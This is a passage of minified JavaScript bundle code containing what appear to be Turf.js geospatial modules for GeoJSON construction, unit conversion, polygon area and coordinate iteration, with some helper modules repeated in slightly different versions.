Ke=E[be],st=Ke[ge*4+0],lt=Ke[ge*4+1],ut=Ke[ge*4+2],yt=Ke[ge*4+3],bt=we(Ke,ge+1),Ot=_e*.5,Ge=be+1;pe(xe,ke,Ot,Ge,st,lt||ut||yt||bt),pe(xe,ke+Ot,Ot,Ge,lt,ut||yt||bt),pe(xe+Ot,ke,Ot,Ge,ut,yt||bt),pe(xe+Ot,ke+Ot,Ot,Ge,yt,bt)}}}function we(xe,ke){for(var _e=null,be=0;_e===null;)if(_e=xe[ke*4+be],be++,be>xe.length)return null;return _e}return le}function F(z,N,G,J,q){for(var ne=[],fe=0;fe<q;fe++){var X=p[fe],W=A[fe][0],V=O(z,N,fe),Y=O(G,J,fe),Q=M.ge(X,V),ie=M.gt(X,Y,Q,X.length-1);ne[fe]=[Q+W,ie+W]}return ne}function O(z,N,G){for(var J=1,q=.5,ne=.5,fe=.5,X=0;X<G;X++)J<<=2,J+=z<q?N<ne?0:1:N<ne?2:3,fe*=.5,q+=z<q?-fe:fe,ne+=N<ne?-fe:fe;return J}};function l(u,s){for(var y=s[0],c=s[1],b=s[2],h=s[3],i=1/(b-y),v=1/(h-c),T=new Array(u.length),w=0,E=u.length/2;w<E;w++)T[2*w]=P((u[2*w]-y)*i,0,1),T[2*w+1]=P((u[2*w+1]-c)*v,0,1);return T}},30774:function(te,Z,e){Object.defineProperty(Z,"__esModule",{value:!0});var M=e(60302),P=6378137;function o(t){return M.geomReduce(t,function(r,f){return r+L(f)},0)}Z.default=o;function L(t){var r=0,f;switch(t.type){case"Polygon":return S(t.coordinates);case"MultiPolygon":for(f=0;f<t.coordinates.length;f++)r+=S(t.coordinates[f]);return r;case"Point":case"MultiPoint":case"LineString":case"MultiLineString":return 0}return 0}function S(t){var r=0;if(t&&t.length>0){r+=Math.abs(d(t[0]));for(var f=1;f<t.length;f++)r-=Math.abs(d(t[f]))}return r}function d(t){var r,f,a,l,u,s,y,c=0,b=t.length;if(b>2){for(y=0;y<b;y++)y===b-2?(l=b-2,u=b-1,s=0):y===b-1?(l=b-1,u=0,s=1):(l=y,u=y+1,s=y+2),r=t[l],f=t[u],a=t[s],c+=(g(a[0])-g(r[0]))*Math.sin(g(f[1]));c=c*P*P/2}return c}function g(t){return t*Math.PI/180}},23132:function(te,Z){Object.defineProperty(Z,"__esModule",{value:!0}),Z.earthRadius=63710088e-1,Z.factors={centimeters:Z.earthRadius*100,centimetres:Z.earthRadius*100,degrees:Z.earthRadius/111325,feet:Z.earthRadius*3.28084,inches:Z.earthRadius*39.37,kilometers:Z.earthRadius/1e3,kilometres:Z.earthRadius/1e3,meters:Z.earthRadius,metres:Z.earthRadius,miles:Z.earthRadius/1609.344,millimeters:Z.earthRadius*1e3,millimetres:Z.earthRadius*1e3,nauticalmiles:Z.earthRadius/1852,radians:1,yards:Z.earthRadius*1.0936},Z.unitsFactors={centimeters:100,centimetres:100,degrees:8982708286548395e-21,feet:3.28084,inches:39.37,kilometers:.001,kilometres:.001,meters:1,metres:1,miles:.0006213711922373339,millimeters:1e3,millimetres:1e3,nauticalmiles:.0005399568034557236,radians:1/Z.earthRadius,yards:1.0936133},Z.areaFactors={acres:247105e-9,centimeters:1e4,centimetres:1e4,feet:10.763910417,hectares:1e-4,inches:1550.003100006,kilometers:1e-6,kilometres:1e-6,meters:1,metres:1,miles:386e-9,millimeters:1e6,millimetres:1e6,yards:1.195990046};function e(m,n,C){C===void 0&&(C={});var x={type:"Feature"};return(C.id===0||C.id)&&(x.id=C.id),C.bbox&&(x.bbox=C.bbox),x.properties=n||{},x.geometry=m,x}Z.feature=e;function M(m,n,C){switch(m){case"Point":return P(n).geometry;case"LineString":return d(n).geometry;case"Polygon":return L(n).geometry;case"MultiPoint":return f(n).geometry;case"MultiLineString":return r(n).geometry;case"MultiPolygon":return a(n).geometry;default:throw new Error(m+" is invalid")}}Z.geometry=M;function P(m,n,C){if(C===void 0&&(C={}),!m)throw new Error("coordinates is required");if(!Array.isArray(m))throw new Error("coordinates must be an Array");if(m.length<2)throw new Error("coordinates must be at least 2 numbers long");if(!w(m[0])||!w(m[1]))throw new Error("coordinates must contain numbers");var x={type:"Point",coordinates:m};return e(x,n,C)}Z.point=P;function o(m,n,C){return C===void 0&&(C={}),t(m.map(function(x){return P(x,n)}),C)}Z.points=o;function L(m,n,C){C===void 0&&(C={});for(var x=0,I=m;x<I.length;x++){var k=I[x];if(k.length<4)throw new Error("Each LinearRing of a Polygon must have 4 or more Positions.");for(var B=0;B<k[k.length-1].length;B++)if(k[k.length-1][B]!==k[0][B])throw new Error("First and last Position are not equivalent.")}var _={type:"Polygon",coordinates:m};return e(_,n,C)}Z.polygon=L;function S(m,n,C){return C===void 0&&(C={}),t(m.map(function(x){return L(x,n)}),C)}Z.polygons=S;function d(m,n,C){if(C===void 0&&(C={}),m.length<2)throw new Error("coordinates must be an array of two or more positions");var x={type:"LineString",coordinates:m};return e(x,n,C)}Z.lineString=d;function g(m,n,C){return C===void 0&&(C={}),t(m.map(function(x){return d(x,n)}),C)}Z.lineStrings=g;function t(m,n){n===void 0&&(n={});var C={type:"FeatureCollection"};return n.id&&(C.id=n.id),n.bbox&&(C.bbox=n.bbox),C.features=m,C}Z.featureCollection=t;function r(m,n,C){C===void 0&&(C={});var x={type:"MultiLineString",coordinates:m};return e(x,n,C)}Z.multiLineString=r;function f(m,n,C){C===void 0&&(C={});var x={type:"MultiPoint",coordinates:m};return e(x,n,C)}Z.multiPoint=f;function a(m,n,C){C===void 0&&(C={});var x={type:"MultiPolygon",coordinates:m};return e(x,n,C)}Z.multiPolygon=a;function l(m,n,C){C===void 0&&(C={});var x={type:"GeometryCollection",geometries:m};return e(x,n,C)}Z.geometryCollection=l;function u(m,n){if(n===void 0&&(n=0),n&&!(n>=0))throw new Error("precision must be a positive number");var C=Math.pow(10,n||0);return Math.round(m*C)/C}Z.round=u;function s(m,n){n===void 0&&(n="kilometers");var C=Z.factors[n];if(!C)throw new Error(n+" units is invalid");return m*C}Z.radiansToLength=s;function y(m,n){n===void 0&&(n="kilometers");var C=Z.factors[n];if(!C)throw new Error(n+" units is invalid");return m/C}Z.lengthToRadians=y;function c(m,n){return h(y(m,n))}Z.lengthToDegrees=c;function b(m){var n=m%360;return n<0&&(n+=360),n}Z.bearingToAzimuth=b;function h(m){var n=m%(2*Math.PI);return n*180/Math.PI}Z.radiansToDegrees=h;function i(m){var n=m%360;return n*Math.PI/180}Z.degreesToRadians=i;function v(m,n,C){if(n===void 0&&(n="kilometers"),C===void 0&&(C="kilometers"),!(m>=0))throw new Error("length must be a positive number");return s(y(m,n),C)}Z.convertLength=v;function T(m,n,C){if(n===void 0&&(n="meters"),C===void 0&&(C="kilometers"),!(m>=0))throw new Error("area must be a positive number");var x=Z.areaFactors[n];if(!x)throw new Error("invalid original units");var I=Z.areaFactors[C];if(!I)throw new Error("invalid final units");return m/x*I}Z.convertArea=T;function w(m){return!isNaN(m)&&m!==null&&!Array.isArray(m)}Z.isNumber=w;function E(m){return!!m&&m.constructor===Object}Z.isObject=E;function p(m){if(!m)throw new Error("bbox is required");if(!Array.isArray(m))throw new Error("bbox must be an Array");if(m.length!==4&&m.length!==6)throw new Error("bbox must be an Array of 4 or 6 numbers");m.forEach(function(n){if(!w(n))throw new Error("bbox must only contain numbers")})}Z.validateBBox=p;function A(m){if(!m)throw new Error("id is required");if(["string","number"].indexOf(typeof m)===-1)throw new Error("id must be a number or a string")}Z.validateId=A},60302:function(te,Z,e){Object.defineProperty(Z,"__esModule",{value:!0});var M=e(23132);function P(i,v,T){if(i!==null)for(var w,E,p,A,m,n,C,x=0,I=0,k,B=i.type,_=B==="FeatureCollection",F=B==="Feature",O=_?i.features.length:1,z=0;z<O;z++){C=_?i.features[z].geometry:F?i.geometry:i,k=C?C.type==="GeometryCollection":!1,m=k?C.geometries.length:1;for(var N=0;N<m;N++){var G=0,J=0;if(A=k?C.geometries[N]:C,A!==null){n=A.coordinates;var q=A.type;switch(x=T&&(q==="Polygon"||q==="MultiPolygon")?1:0,q){case null:break;case"Point":if(v(n,I,z,G,J)===!1)return!1;I++,G++;break;case"LineString":case"MultiPoint":for(w=0;w<n.length;w++){if(v(n[w],I,z,G,J)===!1)return!1;I++,q==="MultiPoint"&&G++}q==="LineString"&&G++;break;case"Polygon":case"MultiLineString":for(w=0;w<n.length;w++){for(E=0;E<n[w].length-x;E++){if(v(n[w][E],I,z,G,J)===!1)return!1;I++}q==="MultiLineString"&&G++,q==="Polygon"&&J++}q==="Polygon"&&G++;break;case"MultiPolygon":for(w=0;w<n.length;w++){for(J=0,E=0;E<n[w].length;E++){for(p=0;p<n[w][E].length-x;p++){if(v(n[w][E][p],I,z,G,J)===!1)return!1;I++}J++}G++}break;case"GeometryCollection":for(w=0;w<A.geometries.length;w++)if(P(A.geometries[w],v,T)===!1)return!1;break;default:throw new Error("Unknown Geometry Type")}}}}}function o(i,v,T,w){var E=T;return P(i,function(p,A,m,n,C){A===0&&T===void 0?E=p:E=v(E,p,A,m,n,C)},w),E}function L(i,v){var T;switch(i.type){case"FeatureCollection":for(T=0;T<i.features.length&&v(i.features[T].properties,T)!==!1;T++);break;case"Feature":v(i.properties,0);break}}function S(i,v,T){var w=T;return L(i,function(E,p){p===0&&T===void 0?w=E:w=v(w,E,p)}),w}function d(i,v){if(i.type==="Feature")v(i,0);else if(i.type==="FeatureCollection")for(var T=0;T<i.features.length&&v(i.features[T],T)!==!1;T++);}function g(i,v,T){var w=T;return d(i,function(E,p){p===0&&T===void 0?w=E:w=v(w,E,p)}),w}function t(i){var v=[];return P(i,function(T){v.push(T)}),v}function r(i,v){var T,w,E,p,A,m,n,C,x,I,k=0,B=i.type==="FeatureCollection",_=i.type==="Feature",F=B?i.features.length:1;for(T=0;T<F;T++){for(m=B?i.features[T].geometry:_?i.geometry:i,C=B?i.features[T].properties:_?i.properties:{},x=B?i.features[T].bbox:_?i.bbox:void 0,I=B?i.features[T].id:_?i.id:void 0,n=m?m.type==="GeometryCollection":!1,A=n?m.geometries.length:1,E=0;E<A;E++){if(p=n?m.geometries[E]:m,p===null){if(v(null,k,C,x,I)===!1)return!1;continue}switch(p.type){case"Point":case"LineString":case"MultiPoint":case"Polygon":case"MultiLineString":case"MultiPolygon":{if(v(p,k,C,x,I)===!1)return!1;break}case"GeometryCollection":{for(w=0;w<p.geometries.length;w++)if(v(p.geometries[w],k,C,x,I)===!1)return!1;break}default:throw new Error("Unknown Geometry Type")}}k++}}function f(i,v,T){var w=T;return r(i,function(E,p,A,m,n){p===0&&T===void 0?w=E:w=v(w,E,p,A,m,n)}),w}function a(i,v){r(i,function(T,w,E,p,A){var m=T===null?null:T.type;switch(m){case null:case"Point":case"LineString":case"Polygon":return v(M.feature(T,E,{bbox:p,id:A}),w,0)===!1?!1:void 0}var n;switch(m){case"MultiPoint":n="Point";break;case"MultiLineString":n="LineString";break;case"MultiPolygon":n="Polygon";break}for(var C=0;C<T.coordinates.length;C++){var x=T.coordinates[C],I={type:n,coordinates:x};if(v(M.feature(I,E),w,C)===!1)return!1}})}function l(i,v,T){var w=T;return a(i,function(E,p,A){p===0&&A===0&&T===void 0?w=E:w=v(w,E,p,A)}),w}function u(i,v){a(i,function(T,w,E){var p=0;if(T.geometry){var A=T.geometry.type;if(!(A==="Point"||A==="MultiPoint")){var m,n=0,C=0,x=0;if(P(T,function(I,k,B,_,F){if(m===void 0||w>n||_>C||F>x){m=I,n=w,C=_,x=F,p=0;return}var O=M.lineString([m,I],T.properties);if(v(O,w,E,F,p)===!1)return!1;p++,m=I})===!1)return!1}}})}function s(i,v,T){var w=T,E=!1;return u(i,function(p,A,m,n,C){E===!1&&T===void 0?w=p:w=v(w,p,A,m,n,C),E=!0}),w}function y(i,v){if(!i)throw new Error("geojson is required");a(i,function(T,w,E){if(T.geometry!==null){var p=T.geometry.type,A=T.geometry.coordinates;switch(p){case"LineString":if(v(T,w,E,0,0)===!1)return!1;break;case"Polygon":for(var m=0;m<A.length;m++)if(v(M.lineString(A[m],T.properties),w,E,m)===!1)return!1;break}}})}function c(i,v,T){var w=T;return y(i,function(E,p,A,m){p===0&&T===void 0?w=E:w=v(w,E,p,A,m)}),w}function b(i,v){if(v=v||{},!M.isObject(v))throw new Error("options is invalid");var T=v.featureIndex||0,w=v.multiFeatureIndex||0,E=v.geometryIndex||0,p=v.segmentIndex||0,A=v.properties,m;switch(i.type){case"FeatureCollection":T<0&&(T=i.features.length+T),A=A||i.features[T].properties,m=i.features[T].geometry;break;case"Feature":A=A||i.properties,m=i.geometry;break;case"Point":case"MultiPoint":return null;case"LineString":case"Polygon":case"MultiLineString":case"MultiPolygon":m=i;break;default:throw new Error("geojson is invalid")}if(m===null)return null;var n=m.coordinates;switch(m.type){case"Point":case"MultiPoint":return null;case"LineString":return p<0&&(p=n.length+p-1),M.lineString([n[p],n[p+1]],A,v);case"Polygon":return E<0&&(E=n.length+E),p<0&&(p=n[E].length+p-1),M.lineString([n[E][p],n[E][p+1]],A,v);case"MultiLineString":return w<0&&(w=n.length+w),p<0&&(p=n[w].length+p-1),M.lineString([n[w][p],n[w][p+1]],A,v);case"MultiPolygon":return w<0&&(w=n.length+w),E<0&&(E=n[w].length+E),p<0&&(p=n[w][E].length-p-1),M.lineString([n[w][E][p],n[w][E][p+1]],A,v)}throw new Error("geojson is invalid")}function h(i,v){if(v=v||{},!M.isObject(v))throw new Error("options is invalid");var T=v.featureIndex||0,w=v.multiFeatureIndex||0,E=v.geometryIndex||0,p=v.coordIndex||0,A=v.properties,m;switch(i.type){case"FeatureCollection":T<0&&(T=i.features.length+T),A=A||i.features[T].properties,m=i.features[T].geometry;break;case"Feature":A=A||i.properties,m=i.geometry;break;case"Point":case"MultiPoint":return null;case"LineString":case"Polygon":case"MultiLineString":case"MultiPolygon":m=i;break;default:throw new Error("geojson is invalid")}if(m===null)return null;var n=m.coordinates;switch(m.type){case"Point":return M.point(n,A,v);case"MultiPoint":return w<0&&(w=n.length+w),M.point(n[w],A,v);case"LineString":return p<0&&(p=n.length+p),M.point(n[p],A,v);case"Polygon":return E<0&&(E=n.length+E),p<0&&(p=n[E].length+p),M.point(n[E][p],A,v);case"MultiLineString":return w<0&&(w=n.length+w),p<0&&(p=n[w].length+p),M.point(n[w][p],A,v);case"MultiPolygon":return w<0&&(w=n.length+w),E<0&&(E=n[w].length+E),p<0&&(p=n[w][E].length-p),M.point(n[w][E][p],A,v)}throw new Error("geojson is invalid")}Z.coordEach=P,Z.coordReduce=o,Z.propEach=L,Z.propReduce=S,Z.featureEach=d,Z.featureReduce=g,Z.coordAll=t,Z.geomEach=r,Z.geomReduce=f,Z.flattenEach=a,Z.flattenReduce=l,Z.segmentEach=u,Z.segmentReduce=s,Z.lineEach=y,Z.lineReduce=c,Z.findSegment=b,Z.findPoint=h},85268:function(te,Z,e){Object.defineProperty(Z,"__esModule",{value:!0});var M=e(27138);function P(o){var L=[1/0,1/0,-1/0,-1/0];return M.coordEach(o,function(S){L[0]>S[0]&&(L[0]=S[0]),L[1]>S[1]&&(L[1]=S[1]),L[2]<S[0]&&(L[2]=S[0]),L[3]<S[1]&&(L[3]=S[1])}),L}P.default=P,Z.default=P},94228:function(te,Z){Object.defineProperty(Z,"__esModule",{value:!0}),Z.earthRadius=63710088e-1,Z.factors={centimeters:Z.earthRadius*100,centimetres:Z.earthRadius*100,degrees:Z.earthRadius/111325,feet:Z.earthRadius*3.28084,inches:Z.earthRadius*39.37,kilometers:Z.earthRadius/1e3,kilometres:Z.earthRadius/1e3,meters:Z.earthRadius,metres:Z.earthRadius,miles:Z.earthRadius/1609.344,millimeters:Z.earthRadius*1e3,millimetres:Z.earthRadius*1e3,nauticalmiles:Z.earthRadius/1852,radians:1,yards:Z.earthRadius*1.0936},Z.unitsFactors={centimeters:100,centimetres:100,degrees:8982708286548395e-21,feet:3.28084,inches:39.37,kilometers:.001,kilometres:.001,meters:1,metres:1,miles:.0006213711922373339,millimeters:1e3,millimetres:1e3,nauticalmiles:.0005399568034557236,radians:1/Z.earthRadius,yards:1.0936133},Z.areaFactors={acres:247105e-9,centimeters:1e4,centimetres:1e4,feet:10.763910417,hectares:1e-4,inches:1550.003100006,kilometers:1e-6,kilometres:1e-6,meters:1,metres:1,miles:386e-9,millimeters:1e6,millimetres:1e6,yards:1.195990046};function e(m,n,C){C===void 0&&(C={});var x={type:"Feature"};return(C.id===0||C.id)&&(x.id=C.id),C.bbox&&(x.bbox=C.bbox),x.properties=n||{},x.geometry=m,x}Z.feature=e;function M(m,n,C){switch(m){case"Point":return P(n).geometry;case"LineString":return d(n).geometry;case"Polygon":return L(n).geometry;case"MultiPoint":return f(n).geometry;case"MultiLineString":return r(n).geometry;case"MultiPolygon":return a(n).geometry;default:throw new Error(m+" is invalid")}}Z.geometry=M;function P(m,n,C){if(C===void 0&&(C={}),!m)throw new Error("coordinates is required");if(!Array.isArray(m))throw new Error("coordinates must be an Array");if(m.length<2)throw new Error("coordinates must be at least 2 numbers long");if(!w(m[0])||!w(m[1]))throw new Error("coordinates must contain numbers");var x={type:"Point",coordinates:m};return e(x,n,C)}Z.point=P;function o(m,n,C){return C===void 0&&(C={}),t(m.map(function(x){return P(x,n)}),C)}Z.points=o;function L(m,n,C){C===void 0&&(C={});for(var x=0,I=m;x<I.length;x++){var k=I[x];if(k.length<4)throw new Error("Each LinearRing of a Polygon must have 4 or more Positions.");for(var B=0;B<k[k.length-1].length;B++)if(k[k.length-1][B]!==k[0][B])throw new Error("First and last Position are not equivalent.")}var _={type:"Polygon",coordinates:m};return e(_,n,C)}Z.polygon=L;function S(m,n,C){return C===void 0&&(C={}),t(m.map(function(x){return L(x,n)}),C)}Z.polygons=S;function d(m,n,C){if(C===void 0&&(C={}),m.length<2)throw new Error("coordinates must be an array of two or more positions");var x={type:"LineString",coordinates:m};return e(x,n,C)}Z.lineString=d;function g(m,n,C){return C===void 0&&(C={}),t(m.map(function(x){return d(x,n)}),C)}Z.lineStrings=g;function t(m,n){n===void 0&&(n={});var C={type:"FeatureCollection"};return n.id&&(C.id=n.id),n.bbox&&(C.bbox=n.bbox),C.features=m,C}Z.featureCollection=t;function r(m,n,C){C===void 0&&(C={});var x={type:"MultiLineString",coordinates:m};return e(x,n,C)}Z.multiLineString=r;function f(m,n,C){C===void 0&&(C={});var x={type:"MultiPoint",coordinates:m};return e(x,n,C)}Z.multiPoint=f;function a(m,n,C){C===void 0&&(C={});var x={type:"MultiPolygon",coordinates:m};return e(x,n,C)}Z.multiPolygon=a;function l(m,n,C){C===void 0&&(C={});var x={type:"GeometryCollection",geometries:m};return e(x,n,C)}Z.geometryCollection=l;function u(m,n){if(n===void 0&&(n=0),n&&!(n>=0))throw new Error("precision must be a positive number");var C=Math.pow(10,n||0);return Math.round(m*C)/C}Z.round=u;function s(m,n){n===void 0&&(n="kilometers");var C=Z.factors[n];if(!C)throw new Error(n+" units is invalid");return m*C}Z.radiansToLength=s;function y(m,n){n===void 0&&(n="kilometers");var C=Z.factors[n];if(!C)throw new Error(n+" units is invalid");return m/C}Z.lengthToRadians=y;function c(m,n){return h(y(m,n))}Z.lengthToDegrees=c;function b(m){var n=m%360;return n<0&&(n+=360),n}Z.bearingToAzimuth=b;function h(m){var n=m%(2*Math.PI);return n*180/Math.PI}Z.radiansToDegrees=h;function i(m){var n=m%360;return n*Math.PI/180}Z.degreesToRadians=i;function v(m,n,C){if(n===void 0&&(n="kilometers"),C===void 0&&(C="kilometers"),!(m>=0))throw new Error("length must be a positive number");return s(y(m,n),C)}Z.convertLength=v;function T(m,n,C){if(n===void 0&&(n="meters"),C===void 0&&(C="kilometers"),!(m>=0))throw new Error("area must be a positive number");var x=Z.areaFactors[n];if(!x)throw new Error("invalid original units");var I=Z.areaFactors[C];if(!I)throw new Error("invalid final units");return m/x*I}Z.convertArea=T;function w(m){return!isNaN(m)&&m!==null&&!Array.isArray(m)}Z.isNumber=w;function E(m){return!!m&&m.constructor===Object}Z.isObject=E;function p(m){if(!m)throw new Error("bbox is required");if(!Array.isArray(m))throw new Error("bbox must be an Array");if(m.length!==4&&m.length!==6)throw new Error("bbox must be an Array of 4 or 6 numbers");m.forEach(function(n){if(!w(n))throw new Error("bbox must only contain numbers")})}Z.validateBBox=p;function A(m){if(!m)throw new Error("id is required");if(["string","number"].indexOf(typeof m)===-1)throw new Error("id must be a number or a string")}Z.validateId=A},27138:function(te,Z,e){Object.defineProperty(Z,"__esModule",{value:!0});var M=e(94228);function P(i,v,T){if(i!==null)for(var w,E,p,A,m,n,C,x=0,I=0,k,B=i.type,_=B==="FeatureCollection",F=B==="Feature",O=_?i.features.length:1,z=0;z<O;z++){C=_?i.features[z].geometry:F?i.geometry:i,k=C?C.type==="GeometryCollection":!1,m=k?C.geometries.length:1;for(var N=0;N<m;N++){var G=0,J=0;if(A=k?C.geometries[N]:C,A!==null){n=A.coordinates;var q=A.type;switch(x=T&&(q==="Polygon"||q==="MultiPolygon")?1:0,q){case null:break;case"Point":if(v(n,I,z,G,J)===!1)return!1;I++,G++;break;case"LineString":case"MultiPoint":for(w=0;w<n.length;w++){if(v(n[w],I,z,G,J)===!1)return!1;I++,q==="MultiPoint"&&G++}q==="LineString"&&G++;break;case"Polygon":case"MultiLineString":for(w=0;w<n.length;w++){for(E=0;E<n[w].length-x;E++){if(v(n[w][E],I,z,G,J)===!1)return!1;I++}q==="MultiLineString"&&G++,q==="Polygon"&&J++}q==="Polygon"&&G++;break;case"MultiPolygon":for(w=0;w<n.length;w++){for(J=0,E=0;E<n[w].length;E++){for(p=0;p<n[w][E].length-x;p++){if(v(n[w][E][p],I,z,G,J)===!1)return!1;I++}J++}G++}break;case"GeometryCollection":for(w=0;w<A.geometries.length;w++)if(P(A.geometries[w],v,T)===!1)return!1;break;default:throw new Error("Unknown Geometry Type")}}}}}function o(i,v,T,w){var E=T;return P(i,function(p,A,m,n,C){A===0&&T===void 0?E=p:E=v(E,p,A,m,n,C)},w),E}function L(i,v){var T;switch(i.type){case"FeatureCollection":for(T=0;T<i.features.length&&v(i.features[T].properties,T)!==!1;T++);break;case"Feature":v(i.properties,0);break}}function S(i,v,T){var w=T;return L(i,function(E,p){p===0&&T===void 0?w=E:w=v(w,E,p)}),w}function d(i,v){if(i.type==="Feature")v(i,0);else if(i.type==="FeatureCollection")for(var T=0;T<i.features.length&&v(i.features[T],T)!==!1;T++);}function g(i,v,T){var w=T;return d(i,function(E,p){p===0&&T===void 0?w=E:w=v(w,E,p)}),w}function t(i){var v=[];return P(i,function(T){v.push(T)}),v}function r(i,v){var T,w,E,p,A,m,n,C,x,I,k=0,B=i.type==="FeatureCollection",_=i.type==="Feature",F=B?i.features.length:1;for(T=0;T<F;T++){for(m=B?i.features[T].geometry:_?i.geometry:i,C=B?i.features[T].properties:_?i.properties:{},x=B?i.features[T].bbox:_?i.bbox:void 0,I=B?i.features[T].id:_?i.id:void 0,n=m?m.type==="GeometryCollection":!1,A=n?m.geometries.length:1,E=0;E<A;E++){if(p=n?m.geometries[E]:m,p===null){if(v(null,k,C,x,I)===!1)return!1;continue}switch(p.type){case"Point":case"LineString":case"MultiPoint":case"Polygon":case"MultiLineString":case"MultiPolygon":{if(v(p,k,C,x,I)===!1)return!1;break}case"GeometryCollection":{for(w=0;w<p.geometries.length;w++)if(v(p.geometries[w],k,C,x,I)===!1)return!1;break}default:throw new Error("Unknown Geometry Type")}}k++}}function f(i,v,T){var w=T;return r(i,function(E,p,A,m,n){p===0&&T===void 0?w=E:w=v(w,E,p,A,m,n)}),w}function a(i,v){r(i,function(T,w,E,p,A){var m=T===null?null:T.type;switch(m){case null:case"Point":case"LineString":case"Polygon":return v(M.feature(T,E,{bbox:p,id:A}),w,0)===!1?!1:void 0}var n;switch(m){case"MultiPoint":n="Point";break;case"MultiLineString":n="LineString";break;case"MultiPolygon":n="Polygon";break}for(var C=0;C<T.coordinates.length;C++){var x=T.coordinates[C],I={type:n,coordinates:x};if(v(M.feature(I,E),w,C)===!1)return!1}})}function l(i,v,T){var w=T;return a(i,function(E,p,A){p===0&&A===0&&T===void 0?w=E:w=v(w,E,p,A)}),w}function u(i,v){a(i,function(T,w,E){var p=0;if(T.geometry){var A=T.geometry.type;if(!(A==="Point"||A==="MultiPoint")){var m,n=0,C=0,x=0;if(P(T,function(I,k,B,_,F){if(m===void 0||w>n||_>C||F>x){m=I,n=w,C=_,x=F,p=0;return}var O=M.lineString([m,I],T.properties);if(v(O,w,E,F,p)===!1)return!1;p++,m=I})===!1)return!1}}})}function s(i,v,T){var w=T,E=!1;return u(i,function(p,A,m,n,C){E===!1&&T===void 0?w=p:w=v(w,p,A,m,n,C),E=!0}),w}function y(i,v){if(!i)throw new Error("geojson is required");a(i,function(T,w,E){if(T.geometry!==null){var p=T.geometry.type,A=T.geometry.coordinates;switch(p){case"LineString":if(v(T,w,E,0,0)===!1)return!1;break;case"Polygon":for(var m=0;m<A.length;m++)if(v(M.lineString(A[m],T.properties),w,E,m)===!1)return!1;break}}})}function c(i,v,T){var w=T;return y(i,function(E,p,A,m){p===0&&T===void 0?w=E:w=v(w,E,p,A,m)}),w}function b(i,v){if(v=v||{},!M.isObject(v))throw new Error("options is invalid");var T=v.featureIndex||0,w=v.multiFeatureIndex||0,E=v.geometryIndex||0,p=v.segmentIndex||0,A=v.properties,m;switch(i.type){case"FeatureCollection":T<0&&(T=i.features.length+T),A=A||i.features[T].properties,m=i.features[T].geometry;break;case"Feature":A=A||i.properties,m=i.geometry;break;case"Point":case"MultiPoint":return null;case"LineString":case"Polygon":case"MultiLineString":case"MultiPolygon":m=i;break;default:throw new Error("geojson is invalid")}if(m===null)return null;var n=m.coordinates;switch(m.type){case"Point":case"MultiPoint":return null;case"LineString":return p<0&&(p=n.length+p-1),M.lineString([n[p],n[p+1]],A,v);case"Polygon":return E<0&&(E=n.length+E),p<0&&(p=n[E].length+p-1),M.lineString([n[E][p],n[E][p+1]],A,v);case"MultiLineString":return w<0&&(w=n.length+w),p<0&&(p=n[w].length+p-1),M.lineString([n[w][p],n[w][p+1]],A,v);case"MultiPolygon":return w<0&&(w=n.length+w),E<0&&(E=n[w].length+E),p<0&&(p=n[w][E].length-p-1),M.lineString([n[w][E][p],n[w][E][p+1]],A,v)}throw new Error("geojson is invalid")}function h(i,v){if(v=v||{},!M.isObject(v))throw new Error("options is invalid");var T=v.featureIndex||0,w=v.multiFeatureIndex||0,E=v.geometryIndex||0,p=v.coordIndex||0,A=v.properties,m;switch(i.type){case"FeatureCollection":T<0&&(T=i.features.length+T),A=A||i.features[T].properties,m=i.features[T].geometry;break;case"Feature":A=A||i.properties,m=i.geometry;break;case"Point":case"MultiPoint":return null;case"LineString":case"Polygon":case"MultiLineString":case"MultiPolygon":m=i;break;default:throw new Error("geojson is invalid")}if(m===null)return null;var n=m.coordinates;switch(m.type){case"Point":return M.point(n,A,v);case"MultiPoint":return w<0&&(w=n.length+w),M.point(n[w],A,v);case"LineString":return p<0&&(p=n.length+p),M.point(n[p],A,v);case"Polygon":return E<0&&(E=n.length+E),p<0&&(p=n[E].length+p),M.point(n[E][p],A,v);case"MultiLineString":return w<0&&(w=n.length+w),p<0&&(p=n[w].length+p),M.point(n[w][p],A,v);case"MultiPolygon":return w<0&&(w=n.length+w),E<0&&(E=n[w].length+E),p<0&&(p=n[w][E].length-p),M.point(n[w][E][p],A,v)}throw new Error("geojson is invalid")}Z.coordEach=P,Z.coordReduce=o,Z.propEach=L,Z.propReduce=S,Z.featureEach=d,Z.featureReduce=g,Z.coordAll=t,Z.geomEach=r,Z.geomReduce=f,Z.flattenEach=a,Z.flattenReduce=l,Z.segmentEach=u,Z.segmentReduce=s,Z.lineEach=y,Z.lineReduce=c,Z.findSegment=b,Z.findPoint=h},29261:function(te,Z,e){Object.defineProperty(Z,"__esModule",{value:!0});var M=e(88553),P=e(64182);function o(L,S){S===void 0&&(S={});var d=0,g=0,t=0;return M.coordEach(L,function(r){d+=r[0],g+=r[1],t++}),P.point([d/t,g/t],S.properties)}Z.default=o},64182:function(te,Z){Object.defineProperty(Z,"__esModule",{value:!0}),Z.earthRadius=63710088e-1,Z.factors={centimeters:Z.earthRadius*100,centimetres:Z.earthRadius*100,degrees:Z.earthRadius/111325,feet:Z.earthRadius*3.28084,inches:Z.earthRadius*39.37,kilometers:Z.earthRadius/1e3,kilometres:Z.earthRadius/1e3,meters:Z.earthRadius,metres:Z.earthRadius,miles:Z.earthRadius/1609.344,millimeters:Z.earthRadius*1e3,millimetres:Z.earthRadius*1e3,nauticalmiles:Z.earthRadius/1852,radians:1,yards:Z.earthRadius/1.0936},Z.unitsFactors={centimeters:100,centimetres:100,degrees:8982708286548395e-21,feet:3.28084,inches:39.37,kilometers:.001,kilometres:.001,meters:1,metres:1,miles:.0006213711922373339,millimeters:1e3,millimetres:1e3,nauticalmiles:.0005399568034557236,radians:1/Z.earthRadius,yards:.91441111923921},Z.areaFactors={acres:247105e-9,centimeters:1e4,centimetres:1e4,feet:10.763910417,inches:1550.003100006,kilometers:1e-6,kilometres:1e-6,meters:1,metres:1,miles:386e-9,millimeters:1e6,millimetres:1e6,yards:1.195990046};function e(_,F,O){O===void 0&&(O={});var z={type:"Feature"};return(O.id===0||O.id)&&(z.id=O.id),O.bbox&&(z.bbox=O.bbox),z.properties=F||{},z.geometry=_,z}Z.feature=e;function M(_,F,O){switch(_){case"Point":return P(F).geometry;case"LineString":return d(F).geometry;case"Polygon":return L(F).geometry;case"MultiPoint":return f(F).geometry;case"MultiLineString":return r(F).geometry;case"MultiPolygon":return a(F).geometry;default:throw new Error(_+" is invalid")}}Z.geometry=M;function P(_,F,O){O===void 0&&(O={});var z={type:"Point",coordinates:_};return 